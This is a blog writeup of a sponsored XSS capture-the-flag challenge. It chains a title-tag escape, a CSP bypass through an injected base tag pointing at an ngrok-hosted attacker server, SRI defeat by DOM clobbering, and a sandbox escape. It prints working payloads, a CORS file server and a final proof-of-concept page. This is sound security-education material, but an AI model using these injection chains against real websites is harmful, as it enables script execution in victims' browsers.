XSS bypassing CSP and using DOM clobbering

wacky main site

This is the writeup for a XSS challenge sponsored by Amazon and hosted by BugPoC.

Objectives:

  1. You must alert(origin) showing https://wacky.buggywebsite.com
  2. You must bypass CSP
  3. It must be reproducible using the latest version of Chrome
  4. You must provide a working proof-of-concept on bugpoc.com

tl;dr

'tldr image'

  1. Input was filtered on the frontend which was bypassed using BURP. Thus directly inserting payload in the request.
  2. Input was reflected in <title> tag. Broke free from it by inserting a closing tag ,</title>.
  3. CSP was blocking code execution from script tags. Using csp-evaluator found that base-uri tag was missing.
  4. Found a js file being loaded with relative URL, thus injecting base tag would hijack that file and was served from attacker controlled domain
  5. The js file being loaded had a Sub Resource Integrity ( SRI ) check which didn't allow different JS file to be loaded. This was bypassed using DOM Clobbering.
  6. The attacker controlled js file was being loaded into in iframe which had sandbox enabled and didn't allow modals, as allow-modals wasn't set on it. This sandbox was bypassed by executing the script from the window.top element as allow-same-origin and allow-scripts, attributes were set on the sandbox.
  7. Last check was the iframe check, which was easy as it only checked whether the window.name == 'iframe', which was bypassed using window.open(<url>, 'iframe'), as the second parameter to window.open is the name parameter.

Let's Begin

Now, since we're done with the summary let's delve into the actual nitty-gritty of this challenge and my thought process during it. I saw this tweet on 6th Nov and started looking into the challenge, by then I guess a few people had already solved this.

ctf info img

Initial Look

Any website that I check I start with checking it's source and then it's Elements in the Developer Window. Same goes for this. Mostly for something hidden or commented out code etc. There wasn't much except an iframe, a custom css file ( style.css ) and a js file script.js.

elements developer

style.css and script.js

Fiddling with the website I realised that any input into the text box which contained &*<>% was automatically removed. On looking at the script.js file, the root cause was found.

var isChrome =
  /Chrome/.test(navigator.userAgent) && /Google Inc/.test(navigator.vendor)
if (!isChrome) {
  document.body.innerHTML = `
			<h1>Website Only Available in Chrome</h1>
			<p style="text-align:center"> Please visit <a href="https://www.google.com/chrome/">https://www.google.com/chrome/</a> to download Google Chrome if you would like to visit this website</p>.
		`
}

document.getElementById('txt').onkeyup = function () {
  this.value = this.value.replace(/[&*<>%]/g, '')
}

document.getElementById('btn').onclick = function () {
  val = document.getElementById('txt').value
  document.getElementById('theIframe').src = '/frame.html?param=' + val
}

Anything that was submitted through the input and submitted by pressing 'Make Whacky!' was reflected into the iframe with some simple styling to it. This input was passed to the frame.html as a param value.

Opening the frame.html with the param value in a new tab shows an error :

"frame.html opened directly in a new tab"

frame.html opened directly in a new tab

Figuring out the root cause for this, I found this in the frame.html code :

if (window.name == 'iframe') {
  // ~~~ SNIPPED For Brevity ~~~
} else {
  document.body.innerHTML = `
  <h1>Error</h1>
  <h2>This page can only be viewed from an iframe.</h2>
  <video width="400" controls>
    <source src="movie.mp4" type="video/mp4">
  </video>`
}

So here the window's name was compared with iframe. I made a mental note of this.

Let's get deeper - Stage I - Escaping the <title> tag

Now I hooked my browser with BURP to proxy all traffic through it. In the request I replaced the param value with URL encoded payload.

</title><script>alert(document.origin);</script>

"title tag escaped but CSP error"

title tag escaped and CSP error in console

Now the title tag was escaped but the payload wasn't executed. Chrome devtools very generously pointed us into the right direction as to why the execution was blocked.

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'nonce-mflydrnqobwx' 'strict-dynamic'". Either the 'unsafe-inline' keyword, a hash ('sha256-ccHnFpZFyccn391f0xFsYcN2KM51z+WX8Zcw7q4w2mQ='), or a nonce ('nonce-...') is required to enable inline execution.

Stage I done. Now we need to work on bypassing the CSP.

Stage II - Bypassing the CSP

The first thing I did was to evaluate the CSP using an online evaluator : csp-evaluator.withgoogle.com. It suggested that there's a High severity finding, base-uri was missing.

Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to 'none' or 'self'?

"csp evaluator's report"

csp evaluator's report

The <base> tag specifies the base URL and/or target for all relative URLs in a document. So, this essentially meants that if an attacker is able to insert a <base href="https://attacker-server.com"> tag into the html then any resource which is being loaded as a relative url then that resource would be loaded from the attacker's server (https://attacker-server.com) .

What are we waiting for then 😎

I quickly went through the source code of frame.html and figured out that frame-analytics.js was being loaded from a relative url , files/analytics/js/frame-analytics.js.

I setup a local python server with CORS and then opened it for the world to access using ngrok Recreated the same directory structure :

files
└── analytics
    └── js
        └── frame-analytics.js

On one of the terminal tab, I started the python server :

python3 main.py 1337

Contents of main.py

#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test
import sys

class CORSRequestHandler (SimpleHTTPRequestHandler):
    def end_headers (self):
        self.send_header('Access-Control-Allow-Origin', '*')
        SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
    test(CORSRequestHandler, HTTPServer, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)

And on another, the ngrok client :

./ngrok http 1337

"ngrok & python server"

python server + ngrok

Now for the payload :

</title><base href="https://8ce29d557691.ngrok.io/"><script>

"CSP bypassed, file integrity failed"

CSP bypassed, file integrity failed

Failed to find a valid digest in the 'integrity' attribute for resource 'https://8ce29d557691.ngrok.io/files/analytics/js/frame-analytics.js' with computed SHA-256 integrity '2REYBEpWCfiE3FQSg0qjlIYCIhXz5XEqOj+bHIyGrgU='. The resource has been blocked

Yay ! Finally we bypassed the CSP and are able to load our script. So, the next hurdle was to bypass this integrity check.

Stage III - Manipulating SRI using DOM Clobbering 🤔

SRI or Sub Resource Integrity was thwarting my attempts to load a malicious frame-analytics.js file.

Subresource Integrity (SRI) is a security feature that enables browsers to verify that resources they fetch (for example, from a CDN) are delivered without unexpected manipulation. It works by allowing you to provide a cryptographic hash that a fetched resource must match.

I dived into the code again and found the code responsible for it.

<script nonce="oibppqyvtmlj">

		window.fileIntegrity = window.fileIntegrity || {
			'rfc' : ' https://w3c.github.io/webappsec-subresource-integrity/',
			'algorithm' : 'sha256',
			'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',
			'creationtime' : 1602687229
		}

		// verify we are in an iframe
		if (window.name == 'iframe') {

			// securely load the frame analytics code
			if (fileIntegrity.value) {

				// create a sandboxed iframe
				analyticsFrame = document.createElement('iframe');
				analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
				analyticsFrame.setAttribute('class', 'invisible');
				document.body.appendChild(analyticsFrame);

				// securely add the analytics code into iframe
				script = document.createElement('script');
				script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
				script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
				script.setAttribute('crossorigin', 'anonymous');
				analyticsFrame.contentDocument.body.appendChild(script);

			}

		} else {
			document.body.innerHTML = `
			<h1>Error</h1>
			<h2>This page can only be viewed from an iframe.</h2>
			<video width="400" controls>
				<source src="movie.mp4" type="video/mp4">
			</video>`
		}

	</script>

First the fileIntegrity object is defined under window scope. This contains the hash value for frame-analytics.js i.e. unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=.

script.setAttribute('integrity', 'sha256-' + fileIntegrity.value)

And in the above line it's being set to the script element which is inserted into an iframe with 'invisible' class. So we see it's sha256 value. Thus, sha256 hash is fetched from window.fileIntegrity's value. So, if by any chance we can control that value then we can insert our hash and insert any file we want.

Well here I was totally stumped. I didn't know how to bypass this check as there's no way that two files would've the same sha256 hash and I also wasn't able to control the value being passed. Then I saw a hint from @bugpoc_official where The Thing was seen 'clobbering' .

I quickly googled 'XSS clobbering' ( as I didn't know there was a thing called DOM clobbering ) and the first article was from PortSwigger, it had everything I needed to know to bypass the file integrity check.

So, what you had to do was essentially create an object with the same id as the object in this case fileIntegrity and then when the browser tries to access the object using window.fileIntegrity it would fetch the attacker created object. And since it's controlled by the attacker you can easily insert any value into the object and thus control the sha256 hash for the file.

So, I created a new payload :

</title><base href="https://8ce29d557691.ngrok.io/" /><body><input id=fileIntegrity value="fpLBF7rRwE7h5GEjCX9L4DlassG8cJEwNWcekVTE0QE=">

Let me explain this payload. Contents of the file frame-analytics.js are :

alert(document.domain)

This sha256 is calculated using the command :

openssl dgst -sha256 -binary ./files/analytics/js/frame-analytics.js | openssl base64 -A

NOTE : If you're facing difficulty with openssl you can insert any value and chrome will give an error in the browser console with the actual hash value calculated, which you can then plug in.

URL encoding this payload and sending it we get this :

"allow-modals not set"

allow-modals not set on sandboxed iframe

Ignored call to 'alert()'. The document is sandboxed, and the 'allow-modals' keyword is not set.
(anonymous) @ frame-analytics.js:1

So we bypassed SRI as well, onto the next challenge 😌

Stage IV - Escaping the sandboxed iframe

The iframe where frame-analytics.js is being loaded from is running in a sandboxed iframe with attributes : allow-scripts allow-same-origin Since allow-modals is not set we can't create a pop-up modal.

From now on, sandboxed frames will block modal dialogs by default to prevent them from popping up confusing, modal messages to users. This includes the infamous window.alert(), window.confirm(), window.print() and window.prompt(). However if you really (really) want to allow modal dialogs inside a sandboxed frame, you can still add "allow-modals" to its "sandbox" attribute.

"allow-modals not set"

allow-modals not set

This was pretty straightforward, just calling the alert from the window.top would bypass this. This is the payload :

window.top.alert(document.domain)

So the frame calls the top window and alert is popped from there.

"alert but not solved"

However this isn't the end 😅

This is the end...

You might ask, how did I conclude that this isn't the solution. Well code doesn't lie. Let's look at it.

window.dataLayer = window.dataLayer || []
function gtag() {
  dataLayer.push(arguments)
}
gtag('js', new Date())

gtag('config', 'UA-154052950-4')

!(function () {
  var g = window.alert
  window.alert = function (b) {
    g(b),
      g(
        atob(
          'TmljZSBKb2Igd2l0aCB0aGlzIENURiEgSWYgeW91IGVuam95ZWQgaGFja2luZyB0aGlzIHdlYnNpdGUgdGhlbiB5b3Ugd291bGQgbG92ZSBiZWluZyBhbiBBbWF6b24gU2VjdXJpdHkgRW5naW5lZXIhIEFtYXpvbiB3YXMga2luZCBlbm91Z2ggdG8gc3BvbnNvciBCdWdQb0Mgc28gd2UgY291bGQgbWFrZSB0aGlzIGNoYWxsZW5nZS4gUGxlYXNlIGNoZWNrIG91dCB0aGVpciBqb2Igb3BlbmluZ3Mh'
        )
      )
  }
})()

If you look at the above code, from frame.html , when the alert is called it would also call another alert with the base64 decoded value of the following :

TmljZSBKb2Igd2l0aCB0aGlzIENURiEgSWYgeW91IGVuam95ZWQgaGFja2luZyB0aGlzIHdlYnNpdGUgdGhlbiB5b3Ugd291bGQgbG92ZSBiZWluZyBhbiBBbWF6b24gU2VjdXJpdHkgRW5naW5lZXIhIEFtYXpvbiB3YXMga2luZCBlbm91Z2ggdG8gc3BvbnNvciBCdWdQb0Mgc28gd2UgY291bGQgbWFrZSB0aGlzIGNoYWxsZW5nZS4gUGxlYXNlIGNoZWNrIG91dCB0aGVpciBqb2Igb3BlbmluZ3Mh

which translates to :

Nice Job with this CTF! If you enjoyed hacking this website then you would love being an Amazon Security Engineer! Amazon was kind enough to sponsor BugPoC so we could make this challenge. Please check out their job openings

"alert popup"

alert popup

Thus the alert we popped earlier was from the top window's context and we need to pop alert from the iframe's context.

There was a hack which I tried and it worked as well. You need to replace the frame-analytics.js code with this :

var ifr = window.top.document.getElementById('theIframe')
ifr.contentWindow.alert(document.domain)

However, this wasn't the intended solution because here the victim's traffic was to be intercepted to insert the payload, which you can easily realise is not an XSS anymore.

So, we needed to find a way where just opening the link would execute the XSS.

Stage V - Naming a window

Let's recap what we already know. Any payload passed into the param parameter in frame.html would be loaded into the iframe.

So why not directly give the victim :

https://wacky.buggywebsite.com/frame.html?param=<your_xss_payload>

This doesn't work because of a check we saw earlier i.e. window.name=='iframe'. Searching window.name XSS, I found a 2014 SO post which mentions how you can name a window :

The other way to get hold of another window is to pop it up. You can specify the window name in the second parameter:

I then checked the MDN docs which stated this

var window = window.open(url, windowName, [windowFeatures]);

Thus we had the full exploit chain. I just needed to create a HTML file which when visited will automatically open this frame.html with our payload.

This is the contents of poc.html

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>XSS Bug PoC - Amazon Sponsored Challenge</title>
  </head>
  <body>
    <script>
      window.open(
        'https://wacky.buggywebsite.com/frame.html?param=%3c%2f%74%69%74%6c%65%3e%3c%62%61%73%65%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%38%63%65%32%39%64%35%35%37%36%39%31%2e%6e%67%72%6f%6b%2e%69%6f%2f%22%20%2f%3e%3c%62%6f%64%79%3e%3c%69%6e%70%75%74%20%69%64%3d%66%69%6c%65%49%6e%74%65%67%72%69%74%79%20%76%61%6c%75%65%3d%22%6b%72%6d%52%46%45%69%37%6a%6c%78%6c%32%35%65%41%35%75%62%6f%31%6d%34%4d%46%4b%70%61%76%43%66%6d%57%47%44%39%75%41%58%71%67%41%45%3d%22%3e',
        'iframe'
      )
    </script>
  </body>
</html>

Now let's see it in action 😎

"final PoC"

Hope this was worth your time, do checkout my youtube channel : HackingSimplified

I post videos every weekend.

channel

HackingSimplified Channel

Checkout the latest video from the channel :

Twitter : @AseemShrey

Thanks for reading :)

Aseem Shrey

Hey! I'm Aseem Shrey.

const about_me = {
loves: "CyberSec, Creating Stuff", currently_reading: "Gandhi: The Years That Changed the World, 1914-1948", other_interests: [ "Reading 📚", "IoT Projects 💡", "Running 🏃( Aim to run a full marathon )", "Swimming 🏊‍♂️" ], online_presence: HackingSimplified AseemShrey };
Ping me up if you wanna talk about anything.

About meJoin newsletterGitHub